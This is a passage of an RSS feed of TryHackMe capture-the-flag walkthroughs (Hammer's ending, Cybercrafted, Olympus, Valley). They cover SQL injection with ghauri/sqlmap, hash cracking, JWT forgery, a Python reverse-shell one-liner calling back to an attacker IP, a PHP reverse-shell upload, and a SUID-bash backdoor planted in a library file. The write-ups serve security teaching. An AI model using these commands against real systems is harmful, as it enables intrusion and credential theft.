1756903943,<br>  &quot;exp&quot;: 1756907543,<br>  &quot;data&quot;: {<br>    &quot;user_id&quot;: 1,<br>    &quot;email&quot;: &quot;tester@hammer.thm&quot;,<br>    &quot;role&quot;: &quot;admin&quot;<br>  }<br>}</pre><pre>header= {<br>  &quot;typ&quot;: &quot;JWT&quot;,<br>  &quot;alg&quot;: &quot;HS256&quot;,<br>  &quot;kid&quot;: &quot;/var/www/html/REDACTED.key&quot;<br>}</pre><pre>token = jwt.encode(payload, secret, algorithm=&quot;HS256&quot;, headers=header)</pre><pre>print(token)</pre><p>I replaced my session JWT with the forged <strong>admin token</strong>.</p><h3>Root — Final Exploitation</h3><p>After refreshing the session with the new token:</p><ul><li>The input field now executed <strong>all system commands</strong></li><li>I ran enumeration commands (whoami, id, cat /root/root.txt).</li><li>Finally, I retrieved the <strong>root flag</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*19zx2yeGEd7npUr2i6xNTA.png" /></figure><p>Root access achieved!</p><h3>Key Takeaways</h3><ul><li><strong>Hidden directories</strong> (hmr_*) led to email discovery.</li><li><strong>Rate limit bypass</strong> via X-Forwarded-For enabled OTP brute force.</li><li><strong>JWT manipulation</strong> using leaked key allowed privilege escalation.</li><li>A carefully crafted JWT → <strong>admin role → root access</strong>.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4e58c0fa7a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Cybercrafted — Walkthrough]]></title>
            <link>https://medium.com/@bandaymajid70/tryhackme-cybercrafted-walkthrough-c1e0048404bc?source=rss-853b24bade1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1e0048404bc</guid>
            <dc:creator><![CDATA[Majid Banday]]></dc:creator>
            <pubDate>Fri, 29 Aug 2025 06:44:08 GMT</pubDate>
            <atom:updated>2025-08-29T08:42:29.825Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Cybercrafted — Walkthrough</h3><p><strong>Machine Link:</strong> <a href="https://tryhackme.com/room/cybercrafted">Cybercrafted</a><br><strong>Author:</strong> Majid</p><h3>Enumeration</h3><p>I started enumeration with a <strong>Rustscan</strong> to identify open ports:</p><pre>rustscan -a 10.201.83.42</pre><p><strong>Results:</strong></p><pre>22/tcp    open  ssh<br>80/tcp    open  http<br>25565/tcp open  minecraft</pre><ul><li><strong>Port 22</strong> → SSH service.</li><li><strong>Port 80</strong> → Web server (primary enumeration target).</li><li><strong>Port 25565</strong> → Minecraft server (potentially custom functionality).</li></ul><h3>1.1 Web Enumeration (Port 80)</h3><p>Visiting the website gave a DNS error, so I added the following entry to /etc/hosts:</p><pre>10.201.83.42 cybercrafted.thm</pre><p>After this, the main <strong>Cybercrafted landing page</strong> loaded successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E-ef03giTIjIWuYsxe6viw.png" /></figure><p>I ran <strong>Feroxbuster</strong> for directory discovery:</p><pre>feroxbuster -u http://cybercrafted.thm -w /usr/local/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -r -x php,jsp,txt,html</pre><ul><li>Found a /secret directory, but nothing useful there.</li><li>Checking the homepage source code, I noticed hints about <strong>subdomains</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*S1oXrhlFk0OEENVBrF3avQ.png" /></figure><h3>1.2 Subdomain Discovery</h3><p>I ran <strong>ffuf</strong> for virtual host fuzzing:</p><pre>ffuf -w /usr/local/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.201.83.42 -H &quot;Host: FUZZ.cybercrafted.thm&quot; -fw 1 -s</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ENxtCOH6ylcj9-MAEd3AVw.png" /></figure><p><strong>Discovered subdomains:</strong></p><ul><li>admin.cybercrafted.thm</li><li>store.cybercrafted.thm</li></ul><p>I added both to /etc/hosts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3cv6SeRvcOBvGfH0Z7gGdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0JelPwTdqJnCwCOQxlENg.png" /></figure><h3>1.3 Admin Subdomain</h3><p>Visiting <strong>admin.cybercrafted.thm</strong> presented a <strong>login page</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oM4t9oSXQIZJi1L-1tLSlg.png" /><figcaption>login page</figcaption></figure><ul><li>Tried authentication bypass and SQL injection → failed.</li><li>Considered brute force, but decided to continue enumerating first.</li><li>Ran Feroxbuster again, but no useful results.</li></ul><h3>1.4 Store Subdomain</h3><p>Visiting <strong>store.cybercrafted.thm</strong> gave <strong>403 Forbidden</strong>.</p><p>I enumerated directories with Feroxbuster:</p><pre>feroxbuster -u http://store.cybercrafted.thm -w /usr/local/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -r -x php,jsp,txt,html</pre><p>Discovered /search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OyD_nDk8pZEKffzCYGRfPw.png" /></figure><p>The search parameter looked promising, so I tested for SQL injection:</p><pre>1&#39; OR 1=1-- -</pre><p>It successfully returned all results, confirming the injection vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*--7hsoNswslMl2JKpQsDww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*8K11nAimlshBNHuNJhp-hA.png" /></figure><h3>1.5 SQL Injection</h3><p>I copied the request from Caido into a file (req.txt) and tested with <strong>Ghauri</strong> (a faster alternative to sqlmap):</p><pre>ghauri -r req.txt -p search --dbs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8xuwohmdnmBVTn9KOoMs8Q.png" /></figure><p><strong>Databases discovered:</strong></p><ul><li>information_schema</li><li>mysql</li><li>performance_schema</li><li>sys</li><li>webapp</li></ul><p>Dumped the webapp database:</p><pre>ghauri -r req.txt -p search -D webapp --dump-all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FU4YywctE3ZG3wnGqTSwEA.png" /></figure><p><strong>Results:</strong></p><ul><li>Username and password hash for user xXUltimateCreeperXx</li><li>Another entry containing web_flag</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*po7DkMs6v4VeDvhgtSi7kQ.png" /></figure><p>Cracked the hash using <strong>Hashcat</strong>:</p><pre>hashcat -m 100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt</pre><ul><li>-m 100 → SHA1</li><li>-a 0 → dictionary attack</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dnes02OBq4XwgVPezRl6pQ.png" /></figure><ul><li>Obtained password: &lt;redacted&gt;</li></ul><h3>Foothold</h3><p>Logged into <strong>admin.cybercrafted.thm</strong> with:</p><pre>User: xXUltimateCreeperXx  <br>Pass: &lt;redacted&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aVdy4koe4xyub8VbgfCWvA.png" /></figure><p>The admin panel allowed execution of <strong>system commands</strong>.</p><ul><li>Verified command execution with test commands.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XjXZzkW2NZekPhiSRF0l6Q.png" /></figure><ul><li>Set up a reverse shell:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*mdSlG8PB7istm0VPwwZ2EA.png" /></figure><pre>export RHOST=&quot;10.17.121.190&quot;;export RPORT=4443;python3 -c &#39;import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(&quot;RHOST&quot;),int(os.getenv(&quot;RPORT&quot;))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(&quot;sh&quot;)&#39;</pre><p>On attacker machine:</p><pre>nc -lvnp 4443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wa5UZiuQqhId5b9AwZMTDA.png" /></figure><ul><li>Successfully caught a <strong>reverse shell</strong>.</li><li>Stabilized the shell with Python3 pty.</li><li>Retrieved the <strong>first flag</strong>.</li></ul><h3>Privilege Escalation</h3><h3>2.1 Horizontal Privilege Escalation</h3><p>While enumerating, I discovered stored user credentials in a directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6QvKtCRca_PMQm6U6hXFjw.png" /></figure><pre>cybercrafted : &lt;redacted&gt;<br>madrinch     : 42f749ade7f9e195bf475f37a44cafcb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OAU-SAi900rZP2C1dhAtRw.png" /></figure><p>The first one was an <strong>MD5 hash</strong>. Cracked it online using <a href="https://md5hashing.net/hash">md5hashing.net</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OWncZeHEN-5moWMJBzkq6g.png" /></figure><ul><li>Switched user to <strong>cybercrafted</strong> with cracked password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JyManWM9nudQfAkEx8SrXw.png" /></figure><ul><li>Retrieved another flag.</li></ul><h3>2.2 Vertical Privilege Escalation</h3><p>Checked sudo privileges:</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*md3vdO-c12lUVhiPAiPIbg.png" /></figure><blockquote>Screen or GNU Screen is a terminal multiplexer. In other words, it means that you can start a screen session and then open any number of windows (virtual terminals) inside that session. Processes running in Screen will continue to run when their window is not visible even if you get disconnected.</blockquote><p>Output showed that <strong>cybercrafted</strong> could run screen -r cybercrafted with sudo. More details <a href="https://linuxize.com/post/how-to-use-linux-screen/">here</a></p><ul><li>GNU Screen allows resuming sessions and can lead to privilege escalation.</li><li>Ran:</li></ul><pre>sudo /usr/bin/screen -r cybercrafted</pre><p>This dropped me into a privileged session. Using Ctrl+A + Ctrl+D I detached and reattached into a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dPUrqbNl2ptUZy-KBIcASQ.png" /></figure><ul><li>Successfully obtained <strong>root access</strong>.</li><li>Read the root flag.</li></ul><h3>2.3 Persistence (Optional Note)</h3><p>I also discovered that I had access to the <strong>SSH key</strong> for user xXUltimateCreeperXx.</p><ul><li>Converted it with <strong>ssh2john</strong> and cracked the passphrase with John.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*SpwS4hWhoLfuK19jxe0IjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*OJboH7Jl30o5jlAHg_fHDg.png" /></figure><ul><li>This allowed direct SSH login without needing to repeat the reverse shell process.</li></ul><h3>Lessons Learned</h3><ul><li>Subdomain enumeration was crucial → both admin and store were required for the attack path.</li><li>SQL injection in store.cybercrafted.thm/search exposed sensitive credentials and database contents.</li><li>Admin panel command execution provided a straightforward foothold.</li><li>Weak hashing (MD5) allowed easy cracking and user pivoting.</li><li>Misconfigured sudo privileges with GNU Screen enabled privilege escalation to root.</li><li>SSH key reuse highlighted persistence risks.</li></ul><p>✅ <strong>Cybercrafted VM successfully rooted with multiple privilege escalation steps.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*gPaXFzHDy0T-UNhIEL1JLw.png" /><figcaption>Diagram of the attack</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1e0048404bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Olympus — Detailed Walkthrough]]></title>
            <link>https://medium.com/@bandaymajid70/tryhackme-olympus-detailed-walkthrough-b4a68445945a?source=rss-853b24bade1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4a68445945a</guid>
            <dc:creator><![CDATA[Majid Banday]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 09:41:16 GMT</pubDate>
            <atom:updated>2025-08-26T09:41:16.396Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>TryHackMe: Olympus — Detailed Walkthrough</strong></h3><p><strong>Machine Link:</strong> <a href="https://tryhackme.com/room/olympusroom">Olympus</a><br><strong>Author:</strong> Majid</p><h3>Enumeration</h3><p>I began the enumeration phase with a basic <strong>Rustscan</strong> to identify open ports:</p><pre>rustscan -a 10.201.87.113</pre><p><strong>Scan results:</strong></p><pre>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http</pre><ul><li><strong>Port 22</strong> → SSH, standard remote login service.</li><li><strong>Port 80</strong> → HTTP, web service that could serve as initial access.</li></ul><p>Visiting port 80 in the browser initially gave a DNS error, so I added the domain www.olympus.thm to /etc/hosts. After that, the webpage loaded successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eFdYvDTXloBSMe5SAzB3rw.png" /></figure><p>Further enumeration of the page source revealed nothing immediately useful. I ran <strong>Feroxbuster</strong> for directory discovery but initially found no interesting directories.</p><p>I also attempted <strong>SSH brute-forcing</strong>, but the TryHackMe room description explicitly warned not to brute-force the login page. This made me focus more on web enumeration.</p><h3>1.1 Web Application Discovery</h3><p>Using <strong>Feroxbuster</strong> with a different wordlist, I successfully discovered a directory containing <strong>Victor CMS</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SGxx_xVUtVFrawH8YUfwCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6NlfkeJw2YYyQJJzNX2cCA.png" /></figure><ul><li>Researching Victor CMS online, I found that the <strong>search functionality is vulnerable to SQL injection</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PdvywZM9KG1JF24-msAykw.png" /></figure><p>I tested SQL injection on the search query and received SQL errors. This allowed me to run <strong>sqlmap</strong> to enumerate databases, tables, and columns:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AhpHWe2xpC8FXfoUE_ii0w.png" /></figure><pre>sqlmap -r data.txt -p search --dbs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tsZcPc5QnjNiYPw2O-lVjw.png" /></figure><p><strong>Findings:</strong></p><ul><li>Username and password hash for the first flag and possible virtual host.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmCg6rkjW6AGzS9GF6mWjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3dwZJAh2WApr8V3AvA9P2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KoDNLjx4sAaC7bkltuaCYQ.png" /></figure><h3>1.2 Cracking Hash &amp; Logging In</h3><p>Cracked the hash using <strong>Hashcat</strong>:</p><pre>hashcat -m 3200 -a 0 prom_hash.txt /usr/local/share/SecLists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UeW1pgpUBnEeWNZRzm2hEA.png" /></figure><ul><li>Password obtained: &lt;redacted&gt;</li></ul><p>Used the credentials to log in to Victor CMS. While exploring, I found comments warning <strong>“don’t reuse passwords”</strong>and references to a users subdomain: chat.olympus.thm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0orxw_BKf-hGczoyLBYs0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r1Rwt0Ln_zBgfU4cALx9CQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vulPOh06KSigIT6ArJmK0g.png" /></figure><p>Added this subdomain to /etc/hosts and visited it → revealed another <strong>login page</strong>.</p><ul><li>Logged in using the same credentials.</li><li>Inside the chat dashboard, there was a <strong>file upload option</strong>.</li></ul><h3>1.3 File Upload &amp; Reverse Shell</h3><p>I uploaded a <strong>PHP reverse shell</strong>, but initially could not access it via URL. I ran <strong>Feroxbuster</strong> again to enumerate directories and discovered the <strong>upload directory</strong>.</p><p>Visited the upload URL with the PHP shell → no response. I went back to the database and noticed a chat column containing uploaded file references.</p><ul><li>Ran <strong>sqlmap</strong> with --fresh-queries to update file paths → discovered the correct PHP reverse shell URL.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QbBNDN7P6LkcZ7pMx6C6ew.png" /></figure><ul><li>Set up a <strong>Netcat listener</strong>:</li></ul><pre>nc -lvnp 4444</pre><ul><li>Visited the shell URL → got a <strong>reverse shell</strong> on the machine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gPA1j8jvZNQ-fuXMLJAyWA.png" /></figure><ul><li>Read the <strong>user flag</strong>.</li></ul><h3>Privilege Escalation</h3><h3>2.1 SUID Binary Discovery</h3><p>Ran a SUID enumeration:</p><pre>find / -type f -perm -04000 -ls 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0l-lk5W4_SkhaAK-XEHDTA.png" /></figure><ul><li>Found a file with the <strong>Zeus SUID bit</strong>.</li><li>The file allowed making copies of files, which gave the idea to copy <strong>id_rsa</strong> from Zeus account.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S4uSk4k5HcAY8fcpY-fsww.png" /></figure><p>Tried logging in via SSH using the key → asked for a <strong>passphrase</strong>.</p><ul><li>Used <strong>ssh2john</strong> to convert the key to a hash.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NbfJ0WEZpjpeCWJpWEtBiA.png" /></figure><ul><li>Cracked the passphrase → obtained &lt;redacted&gt;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*DTW_y3caVmyd8KZwc2zZeQ.png" /></figure><p>Logged in as <strong>Zeus</strong> via SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KnEgF91nI6rgY8GQjCnf5w.png" /></figure><h3>2.2 Root Escalation</h3><ul><li>Ran:</li></ul><pre>find / -group zeus 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mMc1QhxPSQnpK6-DDrDdVQ.png" /></figure><ul><li>Found an interesting PHP file designed for privilege escalation.</li><li>Executed the command as instructed in the PHP file → obtained <strong>root access</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_MvDI5bahKoKFLGtn70wkQ.png" /></figure><ul><li>Read the <strong>root flag</strong>.</li></ul><h3>2.3 Bonus Flag</h3><p>The room hint suggested checking /etc. I ran:</p><pre>grep -ir /etc 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_6evC4bumMtG3m0SyOq_RA.png" /></figure><ul><li>Found the file containing the <strong>bonus flag</strong> → read successfully.</li></ul><h3>Lessons Learned</h3><ul><li><strong>Subdomain discovery</strong> is crucial; comments and hints can guide to hidden hosts.</li><li><strong>SQL injection</strong> remains a major vulnerability → allowed database enumeration.</li><li><strong>File uploads</strong> need careful validation → improper access controls allowed remote code execution.</li><li><strong>SUID misconfigurations</strong> → allowed user-to-user privilege escalation.</li><li><strong>SSH key security</strong> → passphrases are critical; leaked private keys can be exploited.</li><li>Always check /etc and group-owned files for <strong>bonus or hidden flags</strong>.</li></ul><p>✅ <strong>Olympus VM successfully rooted and bonus flag captured.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4a68445945a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Valley — Step-by-Step Walkthrough]]></title>
            <link>https://medium.com/@bandaymajid70/tryhackme-valley-step-by-step-walkthrough-45baace8e222?source=rss-853b24bade1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/45baace8e222</guid>
            <dc:creator><![CDATA[Majid Banday]]></dc:creator>
            <pubDate>Sat, 23 Aug 2025 03:38:52 GMT</pubDate>
            <atom:updated>2025-08-23T03:38:52.775Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Valley — Step-by-Step Walkthrough</h3><p><strong>Machine Link:</strong> <a href="https://tryhackme.com/room/valleype">Valley</a><br><strong>Author:</strong> Majid</p><h3>Enumeration</h3><p>I started the enumeration with a basic <strong>Rustscan</strong> to see what ports were open:</p><pre>rustscan -a 10.201.121.67</pre><p>The scan revealed:</p><pre>PORT      STATE SERVICE<br>22/tcp    open  ssh<br>80/tcp    open  http<br>37370/tcp open  ftp</pre><ul><li><strong>Port 22</strong> → SSH, standard login service.</li><li><strong>Port 80</strong> → HTTP, web application that could be an attack vector.</li><li><strong>Port 37370</strong> → FTP, attempted anonymous login but was unsuccessful.</li></ul><p>Since FTP didn’t allow anonymous login, I focused on the web service at port 80. Visiting the page, I noticed links to <strong>Gallery</strong> and <strong>Pricing</strong> pages.</p><p>I decided to enumerate further using <strong>Feroxbuster</strong> to find hidden directories:</p><pre>feroxbuster -u http://valley.thm/ \<br>-w /usr/local/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt \<br>-r -x php,txt,html</pre><p><strong>Findings:</strong></p><ul><li>/pricing/static/note.txt → the note said: <em>“Don’t leave random notes”</em>. This suggested there could be more notes or hidden content elsewhere.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*gdQt-4w2lVCkYqU8Sbthrw.png" /></figure><ul><li>/static → displayed images, indicating a directory with content worth enumerating.</li></ul><p>To probe the /static directory further, I ran <strong>ffuf</strong>:</p><pre>ffuf -u http://valley.thm/static/FUZZ \<br>-w /usr/local/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt \<br>-e php,txt,html</pre><ul><li>This revealed /static/00, which contained a <strong>login page</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ojxwSg0Jg9MC3B-eSGTvwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FIWNQAXvuVF9onEoia59Eg.png" /></figure><p>I attempted to login using default credentials like admin:admin but it didn’t work. Looking into the source code, I found a <strong>JavaScript file that contained credentials</strong>. Using these credentials, I was able to successfully log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*URcPPIyluaygpMZ2c-vSYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*82ocCeOTtLMoQ7XYsEYjWA.png" /></figure><p>The application warned: <em>“Don’t reuse passwords”</em>. This was a hint that these credentials might work elsewhere, such as FTP or SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*9mYNsOAsRaL2rTBf2LKxdw.png" /></figure><h3>FTP and PCAP Analysis</h3><p>I tried the credentials on <strong>FTP port 37370</strong> and successfully logged in. Browsing the FTP directories, I found several files including <strong>PCAP files</strong>. I downloaded these to my local VM for analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hbQDC8g4M8-2PZbdR6qxbQ.png" /></figure><p>Using <strong>Wireshark</strong>, I opened the PCAP files:</p><ul><li>First two files → no useful information.</li><li>Third PCAP → revealed network traffic containing <strong>credentials for </strong><strong>valleyDev</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*GbfM_Mt3xhCZq1h-XmHH_Q.png" /></figure><p>With these credentials, I logged in via SSH to the machine:</p><pre>ssh valleyDev@10.201.121.67</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nodlh7bRwfKG3bVFaxz9KA.png" /></figure><ul><li>Successfully accessed the system and read the <strong>user flag</strong>.</li></ul><h3>Local File Enumeration</h3><p>Once logged in, I looked around for binaries and files that might contain sensitive information. I found an <strong>ELF binary</strong>, which I downloaded using a simple <strong>Python HTTP server</strong>:</p><pre>python3 -m http.server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AM0KoTmJDskinLYbqqZWXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a0yOlwl_9-pCrV5Qa7pcrQ.png" /></figure><p>Then on my local machine, I used wget to download the binary for offline analysis. Using the strings command, I discovered <strong>the password hash for the </strong><strong>valley user</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2y0l28u2BYLVV_6rjTOjog.png" /></figure><ul><li>I cracked the hash using hashes.com and obtained the plaintext password &lt;redacted&gt;.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-lVtHeo4wcvZRfdXpeQSA.png" /></figure><ul><li>I logged in as the valley user.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hj26xFnUaxSPiQj7BFl-RQ.png" /></figure><p>Running id confirmed that I was a member of the <strong>valleyAdmin</strong> group. This suggested potential privilege escalation opportunities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OmkPfsfmbPbZLe1Bf87Qyg.png" /></figure><h3>Privilege Escalation</h3><p>I searched for files belonging to the valleyAdmin group:</p><pre>find / -group valleyAdmin 2&gt;/dev/null</pre><p>This revealed:</p><pre>/usr/lib/python3.8/base64.py</pre><ul><li>The file was owned by <strong>root</strong> but writable by my group. This immediately looked like a candidate for privilege escalation.</li></ul><p>I opened the file using nano and modified it to include:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v_XYpl6LaS1GzTXDZmka8Q.png" /></figure><pre>import os<br>os.chmod(&quot;/bin/bash&quot;, 0o4755)</pre><ul><li>This created a <strong>SUID shell</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jWlrj6QGkLJ18ip34cwC9A.png" /></figure><p>After saving the changes, I ran the modified binary to get a root shell:</p><pre>bash -p</pre><ul><li>Boom 💥 → I was now <strong>root</strong> and could read the root flag.</li></ul><h3>Lessons Learned</h3><ul><li>Never store credentials in <strong>client-side code</strong> (JS files) — they are easily discovered.</li><li>Network captures (PCAP files) may contain <strong>sensitive credentials</strong> — always analyze with caution.</li><li>Password reuse across services makes <strong>lateral movement trivial</strong>.</li><li>Writable root-owned files or files owned by privileged groups are <strong>major security risks</strong>.</li><li>SUID binaries must be monitored — misconfigured ones can allow <strong>instant privilege escalation</strong>.</li></ul><p>✅ <strong>Valley VM successfully rooted.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45baace8e222" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>